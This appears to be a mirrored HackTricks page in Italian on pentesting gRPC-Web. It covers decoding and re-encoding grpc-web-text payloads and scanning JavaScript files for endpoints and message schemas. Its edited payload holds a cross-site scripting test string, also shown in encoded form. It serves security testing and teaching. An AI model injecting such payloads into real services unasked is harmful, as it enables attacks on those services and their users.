mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
141 lines
6.0 KiB
Markdown
141 lines
6.0 KiB
Markdown
# Pentesting gRPC-Web
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Manipolazione dei Payload gRPC-Web**
|
|
|
|
gRPC-Web utilizza Content-Type: `application/grpc-web-text` nelle richieste, che è una sorta di protobuf in forma codificata base64. Puoi utilizzare lo strumento [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) e puoi anche installare la sua [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite).
|
|
|
|
### **Manuale con lo strumento gGRPC Coder**
|
|
|
|
1. Prima decodifica il payload:
|
|
```bash
|
|
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
|
|
```
|
|
2. Modifica il contenuto del payload decodificato
|
|
```
|
|
nano out.txt
|
|
2: {"Amin Nasiri Xenon GRPC"}
|
|
3: 54
|
|
7: {"<script>alert(origin)</script>"}
|
|
```
|
|
3. Codifica il nuovo payload
|
|
```bash
|
|
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
|
|
```
|
|
4. Usa l'output nell'intercettore di Burp:
|
|
```
|
|
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
|
|
```
|
|
### **Manuale con l'estensione gRPC-Web Coder di Burp Suite**
|
|
|
|
Puoi utilizzare l'estensione gRPC-Web Coder di Burp Suite in [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) che è più semplice. Puoi leggere le istruzioni per l'installazione e l'uso nel suo repository.
|
|
|
|
## **Analisi dei file Javascript gRPC-Web**
|
|
|
|
C'è almeno un file Javascript in ogni applicazione gRPC-Web. Puoi analizzare il file per trovare nuovi messaggi, endpoint e servizi. Prova a utilizzare lo strumento [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
|
|
|
|
1. Scarica il file Javascript gRPC-Web
|
|
2. Scansiona con grpc-scan.py:
|
|
```bash
|
|
python3 grpc-scan.py --file main.js
|
|
```
|
|
3. Analizza l'output e testa i nuovi endpoint e i nuovi servizi:
|
|
```
|
|
Output:
|
|
Found Endpoints:
|
|
/grpc.gateway.testing.EchoService/Echo
|
|
/grpc.gateway.testing.EchoService/EchoAbort
|
|
/grpc.gateway.testing.EchoService/NoOp
|
|
/grpc.gateway.testing.EchoService/ServerStreamingEcho
|
|
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
|
|
|
|
Found Messages:
|
|
|
|
grpc.gateway.testing.EchoRequest:
|
|
+------------+--------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+============+====================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+------------+--------------------+--------------+
|
|
| Name | Proto3StringField | 2 |
|
|
+------------+--------------------+--------------+
|
|
| Age | Proto3IntField | 3 |
|
|
+------------+--------------------+--------------+
|
|
| IsAdmin | Proto3BooleanField | 4 |
|
|
+------------+--------------------+--------------+
|
|
| Weight | Proto3FloatField | 5 |
|
|
+------------+--------------------+--------------+
|
|
| Test | Proto3StringField | 6 |
|
|
+------------+--------------------+--------------+
|
|
| Test2 | Proto3StringField | 7 |
|
|
+------------+--------------------+--------------+
|
|
| Test3 | Proto3StringField | 16 |
|
|
+------------+--------------------+--------------+
|
|
| Test4 | Proto3StringField | 20 |
|
|
+------------+--------------------+--------------+
|
|
|
|
grpc.gateway.testing.EchoResponse:
|
|
+--------------+--------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+==============+====================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+--------------+--------------------+--------------+
|
|
| Name | Proto3StringField | 2 |
|
|
+--------------+--------------------+--------------+
|
|
| Age | Proto3IntField | 3 |
|
|
+--------------+--------------------+--------------+
|
|
| IsAdmin | Proto3BooleanField | 4 |
|
|
+--------------+--------------------+--------------+
|
|
| Weight | Proto3FloatField | 5 |
|
|
+--------------+--------------------+--------------+
|
|
| Test | Proto3StringField | 6 |
|
|
+--------------+--------------------+--------------+
|
|
| Test2 | Proto3StringField | 7 |
|
|
+--------------+--------------------+--------------+
|
|
| Test3 | Proto3StringField | 16 |
|
|
+--------------+--------------------+--------------+
|
|
| Test4 | Proto3StringField | 20 |
|
|
+--------------+--------------------+--------------+
|
|
| MessageCount | Proto3IntField | 8 |
|
|
+--------------+--------------------+--------------+
|
|
|
|
grpc.gateway.testing.ServerStreamingEchoRequest:
|
|
+-----------------+-------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+=================+===================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+-----------------+-------------------+--------------+
|
|
| MessageCount | Proto3IntField | 2 |
|
|
+-----------------+-------------------+--------------+
|
|
| MessageInterval | Proto3IntField | 3 |
|
|
+-----------------+-------------------+--------------+
|
|
|
|
grpc.gateway.testing.ServerStreamingEchoResponse:
|
|
+------------+-------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+============+===================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+------------+-------------------+--------------+
|
|
|
|
grpc.gateway.testing.ClientStreamingEchoRequest:
|
|
+------------+-------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+============+===================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+------------+-------------------+--------------+
|
|
|
|
grpc.gateway.testing.ClientStreamingEchoResponse:
|
|
+--------------+----------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+==============+================+==============+
|
|
| MessageCount | Proto3IntField | 1 |
|
|
+--------------+----------------+--------------+
|
|
```
|
|
## Riferimenti
|
|
|
|
- [Hacking into gRPC-Web Articolo di Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
|
|
- [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|